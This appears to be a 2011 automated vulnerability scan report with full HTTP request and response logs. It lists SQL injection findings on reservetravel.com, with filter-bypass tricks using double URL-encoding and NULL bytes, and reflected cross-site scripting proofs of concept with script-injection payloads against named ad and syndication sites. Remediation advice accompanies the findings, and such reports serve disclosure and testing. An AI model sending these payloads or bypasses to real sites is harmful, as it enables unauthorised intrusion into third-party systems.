HTTP/1.1 200 OK Date: Fri, 30 Sep 2011 13:18:07 GMT Server: KomHttpServer/7.1.3 (unix) Expires: Wed, 11 Jun 1980 12:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Author: Ramon Leon found at http://onsmalltalk.com Content-type: text/html;charset=utf-8 Set-Cookie: checkin=; expires=Sat, 3-January-2009 13:18:7 GMT; path=/v6 Set-Cookie: siteId=64; expires=Sat, 29-September-2012 13:18:7 GMT; path=/v6 Set-Cookie: currency=USD; expires=Sat, 29-September-2012 13:18:7 GMT; path=/v6 Via: 1.1 www.reservetravel.com Vary: Accept-Encoding P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTR STP IND DEM" Content-Length: 120654
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><title>Chicago, IL ...[SNIP]...
The __utmz cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the __utmz cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of the __utmz cookie as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
HTTP/1.1 200 OK Date: Fri, 30 Sep 2011 13:18:04 GMT Server: KomHttpServer/7.1.3 (unix) Expires: Wed, 11 Jun 1980 12:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Author: Ramon Leon found at http://onsmalltalk.com Content-type: text/html;charset=utf-8 Set-Cookie: checkin=; expires=Sat, 3-January-2009 13:18:4 GMT; path=/v6 Set-Cookie: siteId=64; expires=Sat, 29-September-2012 13:18:4 GMT; path=/v6 Set-Cookie: currency=USD; expires=Sat, 29-September-2012 13:18:4 GMT; path=/v6 Via: 1.1 www.reservetravel.com Vary: Accept-Encoding P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTR STP IND DEM" Content-Length: 120654
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><title>Chicago, IL ...[SNIP]...
The currency cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the currency cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of the currency cookie as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
HTTP/1.1 200 OK Date: Fri, 30 Sep 2011 13:17:52 GMT Server: KomHttpServer/7.1.3 (unix) Expires: Wed, 11 Jun 1980 12:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Author: Ramon Leon found at http://onsmalltalk.com Content-type: text/html;charset=utf-8 Set-Cookie: checkin=; expires=Sat, 3-January-2009 13:17:52 GMT; path=/v6 Set-Cookie: siteId=64; expires=Sat, 29-September-2012 13:17:52 GMT; path=/v6 Set-Cookie: currency=USD; expires=Sat, 29-September-2012 13:17:52 GMT; path=/v6 Via: 1.1 www.reservetravel.com Vary: Accept-Encoding P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTR STP IND DEM" Content-Length: 120654
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><title>Chicago, IL ...[SNIP]...
1.18. http://www.reservetravel.com/v6 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.reservetravel.com
Path:
/v6
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
HTTP/1.1 200 OK Date: Fri, 30 Sep 2011 13:18:20 GMT Server: KomHttpServer/7.1.3 (unix) Expires: Wed, 11 Jun 1980 12:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Author: Ramon Leon found at http://onsmalltalk.com Content-type: text/html;charset=utf-8 Set-Cookie: checkin=; expires=Sat, 3-January-2009 13:18:20 GMT; path=/v6 Set-Cookie: siteId=64; expires=Sat, 29-September-2012 13:18:20 GMT; path=/v6 Set-Cookie: currency=USD; expires=Sat, 29-September-2012 13:18:20 GMT; path=/v6 Via: 1.1 www.reservetravel.com Vary: Accept-Encoding P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTR STP IND DEM" Content-Length: 120654
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><title>Chicago, IL ...[SNIP]...
1.19. http://www.reservetravel.com/v6 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.reservetravel.com
Path:
/v6
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /v6?siteid=64&&1'=1 HTTP/1.1 Host: www.reservetravel.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.mcafeesecure.com/us/forconsumers/mcafee_certified_sites.jsp?c1=16&c2=107 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response 1
HTTP/1.1 503 Service Unavailable Date: Fri, 30 Sep 2011 13:14:04 GMT Server: KomHttpServer/7.1.3 (unix) Content-type: text/html;charset=utf-8 Via: 1.1 www.reservetravel.com Vary: Accept-Encoding P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTR STP IND DEM" X-Cnection: close Content-Length: 107
<html><head><meta http-equiv="refresh" content="1"></head><body>Stand by one second please...</body></html>
Request 2
GET /v6?siteid=64&&1''=1 HTTP/1.1 Host: www.reservetravel.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.mcafeesecure.com/us/forconsumers/mcafee_certified_sites.jsp?c1=16&c2=107 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response 2
HTTP/1.1 200 OK Date: Fri, 30 Sep 2011 13:14:05 GMT Server: KomHttpServer/7.1.3 (unix) Expires: Wed, 11 Jun 1980 12:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Author: Ramon Leon found at http://onsmalltalk.com Content-type: text/html;charset=utf-8 Set-Cookie: checkin=; expires=Sat, 3-January-2009 13:14:5 GMT; path=/v6 Set-Cookie: siteId=64; expires=Sat, 29-September-2012 13:14:5 GMT; path=/v6 Set-Cookie: currency=USD; expires=Sat, 29-September-2012 13:14:5 GMT; path=/v6 Via: 1.1 www.reservetravel.com Vary: Accept-Encoding P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTR STP IND DEM" Content-Length: 47174
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><title>ReserveTrav ...[SNIP]...
The server cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the server cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of the server cookie as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
HTTP/1.1 200 OK Date: Fri, 30 Sep 2011 13:17:46 GMT Server: KomHttpServer/7.1.3 (unix) Expires: Wed, 11 Jun 1980 12:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Author: Ramon Leon found at http://onsmalltalk.com Content-type: text/html;charset=utf-8 Set-Cookie: server=v63015; path=/v6 Set-Cookie: siteId=64; expires=Sat, 29-September-2012 13:17:46 GMT; path=/v6 Set-Cookie: currency=USD; expires=Sat, 29-September-2012 13:17:46 GMT; path=/v6 Set-Cookie: checkin=; expires=Sat, 3-January-2009 13:17:46 GMT; path=/v6 Via: 1.1 www.reservetravel.com Vary: Accept-Encoding P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTR STP IND DEM" Content-Length: 120654
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><title>Chicago, IL ...[SNIP]...
The siteId cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the siteId cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of the siteId cookie as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
HTTP/1.1 200 OK Date: Fri, 30 Sep 2011 13:17:49 GMT Server: KomHttpServer/7.1.3 (unix) Expires: Wed, 11 Jun 1980 12:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Author: Ramon Leon found at http://onsmalltalk.com Content-type: text/html;charset=utf-8 Set-Cookie: checkin=; expires=Sat, 3-January-2009 13:17:49 GMT; path=/v6 Set-Cookie: siteId=64; expires=Sat, 29-September-2012 13:17:49 GMT; path=/v6 Set-Cookie: currency=USD; expires=Sat, 29-September-2012 13:17:49 GMT; path=/v6 Via: 1.1 www.reservetravel.com Vary: Accept-Encoding P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTR STP IND DEM" Content-Length: 120654
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><title>Chicago, IL ...[SNIP]...
The siteid parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the siteid parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of the siteid request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request 1
GET /v6?siteid=64%2527& HTTP/1.1 Host: www.reservetravel.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.mcafeesecure.com/us/forconsumers/mcafee_certified_sites.jsp?c1=16&c2=107 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response 1
HTTP/1.1 503 Service Unavailable Date: Fri, 30 Sep 2011 13:14:02 GMT Server: KomHttpServer/7.1.3 (unix) Content-type: text/html;charset=utf-8 Via: 1.1 www.reservetravel.com Vary: Accept-Encoding P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTR STP IND DEM" Content-Length: 107 X-Cnection: close
<html><head><meta http-equiv="refresh" content="1"></head><body>Stand by one second please...</body></html>
Request 2
GET /v6?siteid=64%2527%2527& HTTP/1.1 Host: www.reservetravel.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.mcafeesecure.com/us/forconsumers/mcafee_certified_sites.jsp?c1=16&c2=107 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response 2
HTTP/1.1 200 OK Date: Fri, 30 Sep 2011 13:14:03 GMT Server: KomHttpServer/7.1.3 (unix) Expires: Wed, 11 Jun 1980 12:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Author: Ramon Leon found at http://onsmalltalk.com Content-type: text/html;charset=utf-8 Set-Cookie: checkin=; expires=Sat, 3-January-2009 13:14:3 GMT; path=/v6 Set-Cookie: siteId=64; expires=Sat, 29-September-2012 13:14:3 GMT; path=/v6 Set-Cookie: currency=USD; expires=Sat, 29-September-2012 13:14:3 GMT; path=/v6 Via: 1.1 www.reservetravel.com Vary: Accept-Encoding P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTR STP IND DEM" Content-Length: 47174
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><title>ReserveTrav ...[SNIP]...
The siteid parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the siteid parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
HTTP/1.1 200 OK Date: Fri, 30 Sep 2011 13:17:43 GMT Server: KomHttpServer/7.1.3 (unix) Expires: Wed, 11 Jun 1980 12:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Author: Ramon Leon found at http://onsmalltalk.com Content-type: text/html;charset=utf-8 Set-Cookie: checkin=; expires=Sat, 3-January-2009 13:17:43 GMT; path=/v6 Set-Cookie: siteId=64; expires=Sat, 29-September-2012 13:17:43 GMT; path=/v6 Set-Cookie: currency=USD; expires=Sat, 29-September-2012 13:17:43 GMT; path=/v6 Via: 1.1 www.reservetravel.com Vary: Accept-Encoding P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTR STP IND DEM" Content-Length: 120654
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><title>Chicago, IL ...[SNIP]...
The type parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the type parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the audience request parameter is copied into the HTML document as plain text between tags. The payload 4a2a3<script>alert(1)</script>deca37907f3 was submitted in the audience parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Csp/?t=campaign&category=63&audience=Consumer4a2a3<script>alert(1)</script>deca37907f3&banner=Button_180x90_Image&lng=EN HTTP/1.1 Host: 634454825056194218.contentcastsyndication.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.cybertronpc.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Pragma: no-cache Content-Type: application/javascript; charset=utf-8 Server: Microsoft-IIS/7.5 p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Content-Length: 33946 Cache-Control: no-cache Expires: Fri, 30 Sep 2011 13:28:41 GMT Date: Fri, 30 Sep 2011 13:28:41 GMT Connection: close
//instantiate CSP_GLOBAL if undefined if (typeof(CSP_GLOBAL) == "undefined") { CSP_GLOBAL = {};
The value of the banner request parameter is copied into the HTML document as plain text between tags. The payload 7237d<script>alert(1)</script>fcc847b5c63 was submitted in the banner parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Csp/?t=campaign&category=63&audience=Consumer&banner=Button_180x90_Image7237d<script>alert(1)</script>fcc847b5c63&lng=EN HTTP/1.1 Host: 634454825056194218.contentcastsyndication.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.cybertronpc.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Pragma: no-cache Content-Type: application/javascript; charset=utf-8 Server: Microsoft-IIS/7.5 p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Content-Length: 33946 Cache-Control: no-cache Expires: Fri, 30 Sep 2011 13:28:42 GMT Date: Fri, 30 Sep 2011 13:28:42 GMT Connection: close
//instantiate CSP_GLOBAL if undefined if (typeof(CSP_GLOBAL) == "undefined") { CSP_GLOBAL = {};
(function($$) { (function() { var url = window.location.href; var key = "csp_p ...[SNIP]... //ignore } else { var options = { sku: "", t: "campaign", mf: "", lng: "1", locationId: "", cdsId: "", p: "", audience: "Consumer", banner: "Button_180x90_Image7237d<script>alert(1)</script>fcc847b5c63", category: "63" }; var appendpoint = document.getElementById("SPAN_" + spanId); var instanceId = $$.getNextInlineElementNum(); var _callbackObj = $.ext ...[SNIP]...
The value of the category request parameter is copied into the HTML document as plain text between tags. The payload 5fe5a<script>alert(1)</script>42f64329b8d was submitted in the category parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Csp/?t=campaign&category=635fe5a<script>alert(1)</script>42f64329b8d&audience=Consumer&banner=Button_180x90_Image&lng=EN HTTP/1.1 Host: 634454825056194218.contentcastsyndication.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.cybertronpc.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Pragma: no-cache Content-Type: application/javascript; charset=utf-8 Server: Microsoft-IIS/7.5 p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Content-Length: 33946 Cache-Control: no-cache Expires: Fri, 30 Sep 2011 13:28:41 GMT Date: Fri, 30 Sep 2011 13:28:41 GMT Connection: close
//instantiate CSP_GLOBAL if undefined if (typeof(CSP_GLOBAL) == "undefined") { CSP_GLOBAL = {};
(function($$) { (function() { var url = window.location.href; var key = "csp_p ...[SNIP]... } else { var options = { sku: "", t: "campaign", mf: "", lng: "1", locationId: "", cdsId: "", p: "", audience: "Consumer", banner: "Button_180x90_Image", category: "635fe5a<script>alert(1)</script>42f64329b8d" }; var appendpoint = document.getElementById("SPAN_" + spanId); var instanceId = $$.getNextInlineElementNum(); var _callbackObj = $.extend({}, callback ...[SNIP]...
The value of the t request parameter is copied into the HTML document as plain text between tags. The payload 610ad<script>alert(1)</script>d06e84a3b50 was submitted in the t parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Csp/?t=campaign610ad<script>alert(1)</script>d06e84a3b50&category=63&audience=Consumer&banner=Button_180x90_Image&lng=EN HTTP/1.1 Host: 634454825056194218.contentcastsyndication.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.cybertronpc.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Pragma: no-cache Content-Type: application/javascript; charset=utf-8 Server: Microsoft-IIS/7.5 p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Content-Length: 34028 Cache-Control: no-cache Expires: Fri, 30 Sep 2011 13:28:40 GMT Date: Fri, 30 Sep 2011 13:28:40 GMT Connection: close
//instantiate CSP_GLOBAL if undefined if (typeof(CSP_GLOBAL) == "undefined") { CSP_GLOBAL = {};
(function($$) { (function() { var url = window.location.href; var key = "csp_p ...[SNIP]... validateUrl, elementId); } }); }); } }
$(document).ready(function() { var currentType = "campaign610ad<script>alert(1)</script>d06e84a3b50"; if (currentType == "") currentType = "showcase"; $$.handleRequest.call(); $$.log("*** Type: " + currentType); //no elements found - legacy embed
The value of the ad_size request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7167f"><script>alert(1)</script>48a105b0edf was submitted in the ad_size parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /st?ad_type=iframe&ad_size=728x907167f"><script>alert(1)</script>48a105b0edf§ion=217835 HTTP/1.1 Host: ad.thewheelof.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.golflink.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Content-Type: text/html; charset=utf-8 Date: Fri, 30 Sep 2011 13:13:18 GMT Content-Length: 739
The value of the ad_size request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b5530'-alert(1)-'2a11e246bc was submitted in the ad_size parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /st?ad_type=iframe&ad_size=728x90b5530'-alert(1)-'2a11e246bc§ion=217835 HTTP/1.1 Host: ad.thewheelof.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.golflink.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Content-Type: text/html; charset=utf-8 Date: Fri, 30 Sep 2011 13:13:23 GMT Content-Length: 665
The value of the section request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8fed6'-alert(1)-'8b96419ac76 was submitted in the section parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /st?ad_type=iframe&ad_size=728x90§ion=2178358fed6'-alert(1)-'8b96419ac76 HTTP/1.1 Host: ad.thewheelof.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.golflink.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Content-Type: text/html; charset=utf-8 Date: Fri, 30 Sep 2011 13:13:33 GMT Content-Length: 669
The value of the section request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 72d46"><script>alert(1)</script>3043d8a1f6 was submitted in the section parameter. This input was echoed unmodified in the application's response.
